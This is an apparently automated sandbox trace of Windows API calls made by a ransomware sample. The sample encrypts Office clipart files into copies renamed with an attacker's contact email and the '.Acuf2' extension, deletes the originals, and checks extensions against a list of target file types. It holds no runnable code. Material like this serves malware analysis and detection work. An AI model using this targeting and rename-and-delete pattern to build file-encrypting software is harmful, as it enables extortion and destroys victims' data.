	[0269.654] WriteFile (in: hFile=0x334, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x25d0, lpOverlapped=0x0) returned 1
	[0269.655] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.655] WriteFile (in: hFile=0x334, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.655] SetEndOfFile (hFile=0x334) returned 1
	[0269.655] CloseHandle (hObject=0x334) returned 1
	[0269.655] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.656] SetEndOfFile (hFile=0x358) returned 1
	[0269.658] CloseHandle (hObject=0x358) returned 1
	[0269.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 1
	[0269.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63
	[0269.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63
	[0269.768] lstrlenW (lpString=".doc") returned 4
	[0269.768] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0269.768] lstrlenW (lpString=".docx") returned 5
	[0269.768] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0269.768] lstrlenW (lpString=".pdf") returned 4
	[0269.768] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0269.768] lstrlenW (lpString=".xls") returned 4
	[0269.768] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0269.768] lstrlenW (lpString=".xlsx") returned 5
	[0269.768] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0269.768] lstrlenW (lpString=".ppt") returned 4
	[0269.768] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0269.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63
	[0269.768] lstrlenW (lpString=".zip") returned 4
	[0269.768] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0269.768] lstrlenW (lpString=".rar") returned 4
	[0269.768] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0269.769] lstrlenW (lpString=".bz2") returned 4
	[0269.769] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0269.769] lstrlenW (lpString=".7z") returned 3
	[0269.769] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0269.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63
	[0269.769] lstrlenW (lpString=".dbf") returned 4
	[0269.769] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0269.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63
	[0269.769] lstrlenW (lpString=".1cd") returned 4
	[0269.769] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0269.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63
	[0269.769] lstrlenW (lpString=".jpg") returned 4
	[0269.769] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0269.769] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=27546) returned 1
	[0269.769] CloseHandle (hObject=0x32c) returned 1
	[0269.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 0x20
	[0269.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0269.770] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.770] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0269.770] GetLastError () returned 0x0
	[0269.770] ReadFile (in: hFile=0x32c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x6b9a, lpOverlapped=0x0) returned 1
	[0269.825] WriteFile (in: hFile=0x380, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x6ba0, lpOverlapped=0x0) returned 1
	[0269.826] ReadFile (in: hFile=0x32c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.826] WriteFile (in: hFile=0x380, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.826] SetEndOfFile (hFile=0x380) returned 1
	[0269.826] CloseHandle (hObject=0x380) returned 1
	[0269.826] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.826] SetEndOfFile (hFile=0x32c) returned 1
	[0269.828] CloseHandle (hObject=0x32c) returned 1
	[0269.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 1
	[0269.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63
	[0269.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63
	[0269.870] lstrlenW (lpString=".doc") returned 4
	[0269.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0269.870] lstrlenW (lpString=".docx") returned 5
	[0269.870] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0269.870] lstrlenW (lpString=".pdf") returned 4
	[0269.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0269.870] lstrlenW (lpString=".xls") returned 4
	[0269.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0269.870] lstrlenW (lpString=".xlsx") returned 5
	[0269.870] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0269.870] lstrlenW (lpString=".ppt") returned 4
	[0269.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0269.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63
	[0269.870] lstrlenW (lpString=".zip") returned 4
	[0269.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0269.870] lstrlenW (lpString=".rar") returned 4
	[0269.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0269.870] lstrlenW (lpString=".bz2") returned 4
	[0269.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0269.870] lstrlenW (lpString=".7z") returned 3
	[0269.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0269.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63
	[0269.870] lstrlenW (lpString=".dbf") returned 4
	[0269.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0269.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63
	[0269.870] lstrlenW (lpString=".1cd") returned 4
	[0269.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0269.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63
	[0269.871] lstrlenW (lpString=".jpg") returned 4
	[0269.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0269.871] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=19656) returned 1
	[0269.871] CloseHandle (hObject=0x380) returned 1
	[0269.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 0x20
	[0269.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0269.871] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.872] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0269.872] GetLastError () returned 0x0
	[0269.872] ReadFile (in: hFile=0x380, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4cc8, lpOverlapped=0x0) returned 1
	[0269.881] WriteFile (in: hFile=0x384, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x4cd0, lpOverlapped=0x0) returned 1
	[0269.882] ReadFile (in: hFile=0x380, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.882] WriteFile (in: hFile=0x384, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.882] SetEndOfFile (hFile=0x384) returned 1
	[0269.882] CloseHandle (hObject=0x384) returned 1
	[0269.883] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.883] SetEndOfFile (hFile=0x380) returned 1
	[0269.886] CloseHandle (hObject=0x380) returned 1
	[0269.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 1
	[0269.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63
	[0269.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63
	[0269.887] lstrlenW (lpString=".doc") returned 4
	[0269.887] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0269.887] lstrlenW (lpString=".docx") returned 5
	[0269.887] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0269.887] lstrlenW (lpString=".pdf") returned 4
	[0269.887] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0269.887] lstrlenW (lpString=".xls") returned 4
	[0269.887] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0269.887] lstrlenW (lpString=".xlsx") returned 5
	[0269.887] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0269.887] lstrlenW (lpString=".ppt") returned 4
	[0269.887] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0269.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63
	[0269.887] lstrlenW (lpString=".zip") returned 4
	[0269.887] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0269.887] lstrlenW (lpString=".rar") returned 4
	[0269.887] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0269.887] lstrlenW (lpString=".bz2") returned 4
	[0269.887] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0269.887] lstrlenW (lpString=".7z") returned 3
	[0269.888] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0269.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63
	[0269.888] lstrlenW (lpString=".dbf") returned 4
	[0269.888] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0269.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63
	[0269.888] lstrlenW (lpString=".1cd") returned 4
	[0269.888] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0269.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63
	[0269.888] lstrlenW (lpString=".jpg") returned 4
	[0269.888] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0269.905] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=21946) returned 1
	[0269.905] CloseHandle (hObject=0x360) returned 1
	[0269.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 0x20
	[0269.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0269.907] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.907] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0269.908] GetLastError () returned 0x0
	[0269.908] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x55ba, lpOverlapped=0x0) returned 1
	[0269.909] WriteFile (in: hFile=0x32c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x55c0, lpOverlapped=0x0) returned 1
	[0269.911] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.911] WriteFile (in: hFile=0x32c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.911] SetEndOfFile (hFile=0x32c) returned 1
	[0269.911] CloseHandle (hObject=0x32c) returned 1
	[0269.911] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.911] SetEndOfFile (hFile=0x360) returned 1
	[0269.913] CloseHandle (hObject=0x360) returned 1
	[0269.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 1
	[0269.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63
	[0269.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63
	[0269.914] lstrlenW (lpString=".doc") returned 4
	[0269.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0269.914] lstrlenW (lpString=".docx") returned 5
	[0269.914] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0269.914] lstrlenW (lpString=".pdf") returned 4
	[0269.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0269.914] lstrlenW (lpString=".xls") returned 4
	[0269.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0269.914] lstrlenW (lpString=".xlsx") returned 5
	[0269.914] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0269.914] lstrlenW (lpString=".ppt") returned 4
	[0269.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0269.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63
	[0269.914] lstrlenW (lpString=".zip") returned 4
	[0269.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0269.914] lstrlenW (lpString=".rar") returned 4
	[0269.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0269.915] lstrlenW (lpString=".bz2") returned 4
	[0269.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0269.915] lstrlenW (lpString=".7z") returned 3
	[0269.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0269.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63
	[0269.915] lstrlenW (lpString=".dbf") returned 4
	[0269.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0269.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63
	[0269.915] lstrlenW (lpString=".1cd") returned 4
	[0269.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0269.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63
	[0269.915] lstrlenW (lpString=".jpg") returned 4
	[0269.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0269.915] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=43949) returned 1
	[0269.915] CloseHandle (hObject=0x360) returned 1
	[0269.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 0x20
	[0269.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0269.916] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.916] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0269.916] GetLastError () returned 0x0
	[0269.916] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xabad, lpOverlapped=0x0) returned 1
	[0269.919] WriteFile (in: hFile=0x32c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xabb0, lpOverlapped=0x0) returned 1
	[0269.920] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.920] WriteFile (in: hFile=0x32c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.920] SetEndOfFile (hFile=0x32c) returned 1
	[0269.920] CloseHandle (hObject=0x32c) returned 1
	[0269.920] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.920] SetEndOfFile (hFile=0x360) returned 1
	[0269.923] CloseHandle (hObject=0x360) returned 1
	[0269.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 1
	[0269.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63
	[0269.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63
	[0269.924] lstrlenW (lpString=".doc") returned 4
	[0269.924] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0269.924] lstrlenW (lpString=".docx") returned 5
	[0269.924] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0269.924] lstrlenW (lpString=".pdf") returned 4
	[0269.924] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0269.924] lstrlenW (lpString=".xls") returned 4
	[0269.924] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0269.924] lstrlenW (lpString=".xlsx") returned 5
	[0269.924] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0269.925] lstrlenW (lpString=".ppt") returned 4
	[0269.925] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0269.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63
